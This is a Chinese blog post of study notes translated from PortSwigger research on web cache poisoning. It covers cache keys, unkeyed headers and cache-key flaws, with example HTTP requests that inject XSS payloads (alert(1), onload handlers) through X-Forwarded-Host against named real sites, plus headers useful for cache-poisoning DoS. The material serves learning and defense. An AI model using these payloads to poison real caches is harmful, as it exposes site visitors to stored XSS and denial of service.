WEB缓存中毒

最新推荐文章于 2024-05-31 10:04:55 发布
最新推荐文章于 2024-05-31 10:04:55 发布
阅读量820 收藏 19
点赞数 29
文章标签： 前端 缓存
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/RuanJian_GC/article/details/139031892
版权

WEB缓存中毒

本文 翻译整理自实用的web缓存中毒，记录仅作个人学习使用，侵删

缓存中毒（上）

Caching 101

Web缓存位于用户和应用程序服务器之间，它们保存和提供某些响应的副本。在下图中，我们可以看到三个用户一个接一个地获取相同的资源：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Cache keys

每当缓存收到一个资源的请求时，它需要决定是否已经保存了这个确切资源的副本，并可以用它来回复请求，还是需要将请求转发给应用服务器。逐字节匹配不现实，这就出现了缓存键解决问题~~（通常使用request-line和user-agent作为缓存键）~~

GET /blog/post.php?mobile=1 HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 … Firefox/57.0  
Cookie: language=pl;  
Connection: close

GET /blog/post.php?mobile=1 HTTP/1.1  
Host: example.com  
User-Agent: Mozilla/5.0 … Firefox/57.0  
Cookie: language=en;  
Connection: close

在上述请求中，使用了HTTP方法GET和主机名example.com 以及请求路径/blog/post.php 和查询字符串?mobile=1来作为缓存建，可想而知，该页面将以错误的语言提供给第二个访问者

这暗示了一个问题–由非缓存建触发的响应中的任何差异都可能被存储并提供给其他用户

补充：
缓存通过使用缓存键（cache keys）的概念来解决这个问题 - 这是 HTTP 请求的一些特定组件，用于完全标识被请求的资源

缓存键通常包括用于唯一标识资源的以下元素：

1. **HTTP方法 (HTTP Method):** 这表示请求的类型，例如 GET、POST、PUT 或 DELETE。

2. **主机名 (Host Name):** 表示请求资源的主机名或域名，用于定位资源的来源。

3. **路径 (Path):** 表示请求资源的路径，即 URL 中主机名之后的部分。

4. **查询字符串 (Query String):** 表示查询参数，如果请求中包含查询参数，它们也会被包括在缓存键中。

Cache Poisoning

Web缓存中毒的目的是发送导致有害响应的请求，这些响应被保存该高速缓存中并提供给其他用户。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. HTTP头等非键控输入
  2. HTTP响应拆分
  3. 请求走私

Methodology

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 识别和评估非缓存建输入（Param Miner）
  2. 从后端服务器获取有害响应~~(如果一个输入在没有被正确清理的情况下被反映在来自服务器的响应中，或者被用于动态生成其他数据，那么这就是Web缓存中毒的潜在入口点。)~~
  3. 使响应缓存~~（是否缓存响应取决于各种因素，例如文件扩展名、内容类型、路由、状态代码和响应头。您可能需要花一些时间来处理不同页面上的请求，并研究该高速缓存的行为。一旦您知道如何缓存包含恶意输入的响应，就可以将漏洞攻击传递给潜在的受害者。）~~

实例分析

XSS
  1. 识别和评估非缓存建输入（Param Miner）

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. 从后端服务器获取有害响应
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    在被自己的服务器上 将指向的脚本设为xss攻击脚本
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
  2. 使响应缓存
    X-Cache: hit 响应来自缓存
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
Basic Poisoning
  1. 找非缓存键
GET /en?cb=1 HTTP/1.1  
Host: www.redhat.com  
X-Forwarded-Host:      **canary** 
  
HTTP/1.1 200 OK  
Cache-Control: public, no-cache  
…  
<meta property="og:image" content="https://  **canary **  /cms/social.png" />
  1. 评估是否可利用
GET /en?dontpoisoneveryone=1 HTTP/1.1  
Host: www.redhat.com  
X-Forwarded-Host:     **a."><script>alert(1)</script> **
  
HTTP/1.1 200 OK  
Cache-Control: public, no-cache  
…  
<meta property="og:image" content="https://   **a."><script>alert(1)</script>**  "/>
  1. 检查此响应是否已存储在缓存中，以便将其传递给其他用户
GET /en?dontpoisoneveryone=1 HTTP/1.1  
Host: www.redhat.com  
  
HTTP/1.1 200 OK  
…  
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
Discreet poisoning
  1. 发送大量请求保证缓存，方法几乎不可用
  2. 逆向目标的缓存到期系统并通过浏览文档和监控网站来预测准确的到期时间来避免这个问题，但这听起来就很难。
  3. 响应协议头“Age”和“max-age”分别是当前响应的时间和它将过期的时间
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
Selective Poisoning

“Vary” ：赋予的值代表缓存键.

GET / HTTP/1.1  
Host: redacted.com  
User-Agent: Mozilla/5.0 … Firefox/60.0  
X-Forwarded-Host: a"><iframe οnlοad=alert(1)>  
  
HTTP/1.1 200 OK  
X-Served-By: cache-lhr6335-LHR  
Vary: User-Agent, Accept-Encoding  
…  
<link rel="canonical" href="https://a">a<iframe οnlοad=alert(1)>  
</iframe>

Vary头告诉我们，我们的User-Agent可能是该高速缓存键的一部分，手动测试证实了这一点。这意味着，由于我们声称使用Firefox 60，我们的漏洞将只提供给其他Firefox 60用户。我们可以使用流行的用户代理列表来确保大多数访问者收到我们的漏洞，但这种行为给了我们更多选择性攻击的选择。如果你知道他们的用户代理，你就有可能针对特定的人进行攻击，甚至可以隐藏自己的网站监控团队。

DOM Poisoning

利用未加密的输入并不总是像写入XSS Payload一样容易。如以下请求：

GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
<body data-site-root="https://canary/">

我们已经控制了’data-site-root’属性，但我们不能突破以使用XSS，并且不清楚这个属性甚至用于什么。为了找到答案，我在Burp中创建了一个匹配并替换的规则，为所有请求添加了“X-Forwarded-Host：id.burpcollaborator.net”协议头，然后浏览了该站点。当加载某些页面时，Firefox会将JavaScript生成的请求发送到我的服务器：

GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net

该路径表明，在网站的某个地方，有一些JavaScript代码使用data-site-root属性来决定从哪里加载一些国际数据。我试图通过获取https://catalog.data.gov/api/i18n/en 来找出这些数据应该是什么样的，但只是收到了一个空的JSON响应。幸运的是，将’en’改为’es’拿到了一个线索：

GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov

HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}

该文件包含用于将短语翻译为用户所选语言的地图。通过创建我们自己的翻译文件并使缓存投毒，我们可以将短语翻译变成漏洞：

GET  /api/i18n/en HTTP/1.1
Host: portswigger-labs.net

HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}

最终的结果，任何查看包含“显示更多”文字的网页的人都会被利用。

到此为止 ，更多内容请看paper

缓存中毒（下）

Cache key flaws

在实践中，许多网站和CDN在保存该高速缓存键中时对键控组件执行各种转换。这可能包括：

  • Excluding the query string 排除查询字符串
  • Filtering out specific query parameters 过滤出特定查询参数
  • Normalizing input in keyed components 规范化关键帧零部件中的输入

基于写入该高速缓存键的数据和传递到应用程序代码的数据之间的差异，缓存密钥缺陷可被利用来通过最初可能看起来不可用的输入（缓存建）来毒害该高速缓存。

Cache probing methodology

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  1. Identify a suitable cache oracle 确定合适的缓存oracle
  2. Probe key handling 探测键处理
  3. Identify an exploitable gadget识别可利用的小工具
Identify a suitable cache oracle

缓存oracle只是提供有关该高速缓存行为的反馈的页面或端点。这需要是可缓存的，并且必须以某种方式指示您是接收到缓存的响应还是直接从服务器接收到的响应。这种反馈可以采取各种形式，例如：

  • An HTTP header that explicitly tells you whether you got a cache hit
    一个HTTP标头，明确告诉您是否有缓存命中
  • Observable changes to dynamic content 动态内容的可观察变化
  • Distinct response times 独特的响应时间

理想情况下，该高速缓存oracle还将在响应中反映整个URL和至少一个查询参数。这将更容易注意到该高速缓存和应用程序之间的解析差异，这将有助于以后构建不同的漏洞。

查阅相应的文档。这可以包含关于如何构造默认缓存键的信息。您甚至可能会偶然发现一些方便的提示和技巧，例如允许您直接查看该高速缓存键的功能。例如，基于Akamai的网站可能支持标头Pragma: akamai-x-get-cache-key，您可以使用该标头在响应标头中显示该高速缓存键：

GET /?param=1 HTTP/1.1 
Host: innocent-website.com 
Pragma: akamai-x-get-cache-key 


HTTP/1.1 200 
OK X-Cache-Key: innocent-website.com/?param=1
Probe key handling

测试更改缓存建的值 看是否改变响应

  1. 正常请求
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com/en 
Cache-Status: miss
  1. 改变Host的端口
GET / HTTP/1.1 
Host: vulnerable-website.com:1337 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: miss
  1. 缓存后：
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: hit
Identify an exploitable gadget
  1. 反射XSS/self-xss -> 存储xss
  2. 开放重定向 -> 反射性xss/DOS/重定向恶意链接
  3. waf拦截的铭感词 -> DOS
  4. 允许利用资源文件中的动态内容，如JS和CSS。
  5. 利用依赖于浏览器不会发送的格式错误的请求的“不可利用”漏洞。
  6. …

实例

Unkeyed port

高速缓存系统将解析报头并从该高速缓存键中排除端口

  1. 正常请求
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com/en 
Cache-Status: miss
  1. 改变Host的端口
GET / HTTP/1.1 
Host: vulnerable-website.com:1337 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: miss
  1. 缓存后：
GET / HTTP/1.1 
Host: vulnerable-website.com 

HTTP/1.1 302 Moved Permanently 
Location: https://vulnerable-website.com:1337/en 
Cache-Status: hit
Unkeyed query string

最常见的缓存键转换之一是排除整个查询字符串

Detecting an unkeyed query string

如果响应显式地告诉您是否命中了缓存，那么这种转换就相对容易发现，但是如果没有呢？很难知道您是在与该高速缓存还是服务器通信。

  1. 可以通过在缓存建添加不干扰应用程序行为键值，来判断是否交互
Accept-Encoding: gzip, deflate, cachebuster 
Accept: */*, text/cachebuster 
Cookie: cachebuster=1 
Origin: https://cachebuster.vulnerable-website.com
  1. 如果使用Param Miner，还可以选择“Add static/dynamic cache buster”和“Include cache buster in header”选项。然后，它将自动添加一个缓存buster到您使用Burp的手动测试工具发送的任何请求中的常用键控头。
  2. 查看该高速缓存和后端规范化请求路径的方式之间是否存在任何差异。由于路径几乎可以保证是键控的，因此有时可以利用这一点发出具有不同键的请求，但这些请求仍然会命中同一个端点。例如GET /
Apache: GET //   
Nginx:  GET /%2F   
PHP:  GET /index.php/xyz
Exploiting an unkeyed query string

这种攻击依赖于诱导受害者访问恶意制作的URL。然而，通过无键查询字符串该高速缓存将导致有效负载被提供给访问原本是完全正常的URL的用户。这有可能影响更多的受害者，而攻击者没有进一步的互动。
`xss/别的什么。。。。。``

Unkeyed query parameters

一些网站只排除与后端应用程序不相关的特定查询参数，例如用于分析或提供定向广告的参数。像utm_content这样的UTM参数是在测试期间检查的良好候选。

Cache parameter cloaking

Tools

Param Miner

  1. Guess header
  2. Issue

Paper

实用的web缓存中毒
web缓存中毒导致的dos
CPDoS: Cache Poisoned Denial of Service
新的web缓存中毒

WEB缓存欺骗

HTTP头

HTTP头本身作用缓存中毒应用
X-Forwarded-Port重定向端口定向未知端口DOS
X-Forwarded-SSL识别协议覆盖某些页面，并回复“Contradictory scheme header
Transfer-Encoding覆盖某些页面，501
Accept-Encoding
Range: bytes=cow拒绝访问加载JavaScript文件，以引起400响应
Accept, Upgrade, [Origin](https://nathandavison.com/blog/corsing-a-denial-of-service-via-cache-poisoning) Max-Forwards

CDN特性

唐先生的博客
关注
  • 29
    点赞
  • 踩
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
portswigger带有未键标头的 Web 缓存中毒理解
qq_44881113的博客
03-30 339
1 进入实验室 https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header 2 抓包，刷新页面， 在响应包里，我们注意到X-Cache标头 该标头反应的是，缓存是否被名中 （从HTTP响应头看各家CDN缓存技术） via ，x-cache，X-Cache-Lookup，X-Via，X-Via-CDN，Vip-Ca
漫谈Web缓存
02-26
缓存一直是前端性能优化中，浓墨重彩的一笔。了解前端缓存是打造高性能网站的必要知识。之前，对于缓存的认知一直停留在看《HTTP权威指南》和一些相关帖子的深度，过了一段时间，又总是忘记，正好最近不是很忙，结合内网上的一些参考资料，结合实践，试着全面解析一下缓存以及其最佳实践。我们日常所见最多的也是我们最常利用的就是浏览器对于HTTP规范实现所进行的资源缓存，HTTP规范中，定义了4个缓存相关的字段。以上是HTTP中关于缓存的头字段，浏览器其实只是一个HTTP协议的代理client，在十几年的发展中，为了满足用户，而不端增强自身功能，并加入了许多特性，最终成为我们看到的这个样子，正如QQ本身应该只是
怎么清空web缓存
01-14
怎么清空web缓存，浏览器经常需要清空缓存，比如在做软件测试的时候，浏览器需要进行清空缓存，好方便测试
web 缓存
03-27
NULL 博文链接：https://chujiazhen.iteye.com/blog/1137750
webapi接口缓存组件
08-17
自己实现的一个简单的webapi接口缓存组件，实现很简单，使用也很方便，可以自己扩展。
PortSwigger web缓存中毒（Cache Poisoning）
weixin_42451330的博客
06-12 1410
Web缓存中毒（Web Cache Poisoning）是一种攻击技术，攻击者通过操纵Web应用程序的缓存系统，将恶意或欺骗性内容注入到合法的缓存中，以欺骗用户或绕过安全控制。Web缓存中毒的原理是利用缓存服务器在接收到请求后，将响应保存在缓存中并将相同响应返回给后续请求的用户。攻击者通过在请求中操纵参数、头部或URL等，使缓存服务器错误地将恶意或欺骗性响应存储在缓存中。当其他用户发起相同请求时，缓存服务器将返回被注入的恶意响应，从而达到攻击的目的。
tesla web缓存中毒导致的dos
RuanJian_GC的博客
05-20 575
dos。
BlackHat论文解读： HTTP 标头，请求走私，缓存中毒
Liao_Wenzhe的博客
02-10 3495
概念： 1.现代web架构：基于反向代理转发的二层结构，如下图1所示。 2.http标头,请求走私：在http-header中修改制定参数参数名或值，以实现在front 到 back中调用链中的攻击，造成缓存攻击，ip限制，速率绕过等。如下图2所示。 3. 缓存中毒：利用front的缓存，覆盖原始访问的内容，如下图3所示，我们可以任意更改rsp-body里的值。 影响： 1. 绕过网关 IP 限制和速率限制（仅仅修改转发参数即可攻击漏洞）： API Gateway 允许你使用以下资源
【由浅入深_打牢基础】WEB缓存投毒（上）
em.....
06-11 947
微信公众号：小惜渗透，欢迎大佬一起交流进步简单的来说，就是利用缓存将有害的HTTP响应提供给用户什么是缓存，这里借用Burp官方的一张图来说，就是当一个用户去发起一个请求的时候，会经过缓存，但是缓存中如果不存在的话，后端才会响应并将其添加到缓存，之后的用户如果发送等效请求的话，会直接从缓存中获取。如上所说，那么后端怎么判断我们两个用户的请求是等效的呢？这里我们要知道一个东西叫缓存键（cache key），预先定义的请求头中的一些键作为缓存键，只要这些缓存键的值一样后端就认为两个包是等效的，那么头部的其它键就
【前端安全】web缓存投毒
'Ablaze 的专栏
01-09 3002
核心概念 缓存 web缓存位于用户和应用程序服务器之间，用于保存和提供某些响应的副本。在下图中，我们可以看到三个用户一个接一个地获取相同的资源： 缓存技术旨在通过减少延迟来提升页面加载速度，还可以减少应用程序服务器上的负载，同时达到防止Dos攻击的目的。 缓存键 缓存的概念可能听起来简单明了，但它隐藏了一些风险的假设。 每当缓存服务收到对资源的请求时，它需要确定： 是否已保存此指定资源的副本 是否可以使用该副本进行响应 是否需转发给应用程序服务器 确定两个请求是否正在尝试加载相同的资源可能是很棘手的问
涉及 GitHub、GitLab，研究人员发现 70 个 Web 缓存中毒漏洞；微软：许多攻击者仍对 Log4j 漏洞加以利用；VS 2022 新版发布 ｜ 开源日报
开源吞噬世界。
01-07 5604
一文速览国内外今日的开源大事件吧！
Web缓存中毒（web cache poisoning）学习笔记
汗的博客
05-05 4264
笔者burpsuite的在线安全学院的ssti学习笔记。限于本人水平，笔记质量不是很高，假如有看到的大佬轻喷，很多地方是Google翻译的。 首先推荐篇翻译的文章，方便理解 #先知社区上师傅翻译的：实战Web缓存中毒 https://xz.aliyun.com/t/2585#toc-21 #原文 https://portswigger.net/blog/practical-web-cache-po...
记录一次前端页面崩溃的产生及处理
weixin_51123079的博客
05-30 498
记录一次前端页面崩溃的产生及处理
前端开发记录
最新发布
qq_25806839的博客
05-31 157
【代码】前端开发记录。
Vue3实战笔记（52）—Vue 3封装持仓分析饼图
山花的博客
05-30 506
接上文，封装持仓分析饼图。封装好几个组件，用于后续开发。把忧愁煮成茶，让它在心间慢慢沉淀，剩下的，便是清甜的回味。
web前端三大主流框架
低调做人，低调编码，神码都是浮云
05-30 937
Web前端三大主流框架介绍：Angular、React、Vue
vue 笔记03
m0_47045804的博客
05-30 867
vue挂载以后把所有内容手抄一份就叫做虚拟dom 假设你要操作dom 等一下先不要操作真实dom, 先修改我这个手抄的虚拟的DOM 改完了么？如果我们需要一个变量 这个变量的值是根据data里面某个值或者某几个值的变化而变化的时候,那么我们就需要用到vue里面的computed计算属性。data里面定义的数据无法直接互相访问 因为加载到data的时候还没有产生当前的vue对象。return 返回的结果就是当前计算属性的值。回调函数的参数就是过滤原本的值return 返回过滤的新值。
【JS实战案例汇总——不定时更新版】
微木
05-30 330
练习JS的实用案例，倒计时算法、定时轮播图
arp 缓存中毒实验
10-17
ARP缓存中毒是一种网络攻击方法，攻击者通过发送伪造的ARP（地址解析协议）响应，欺骗主机或路由器将错误的MAC地址与IP地址进行绑定，导致网络通信出现异常或中断。 实施ARP缓存中毒实验的步骤如下： 1. 准备实验...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

唐先生的博客

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值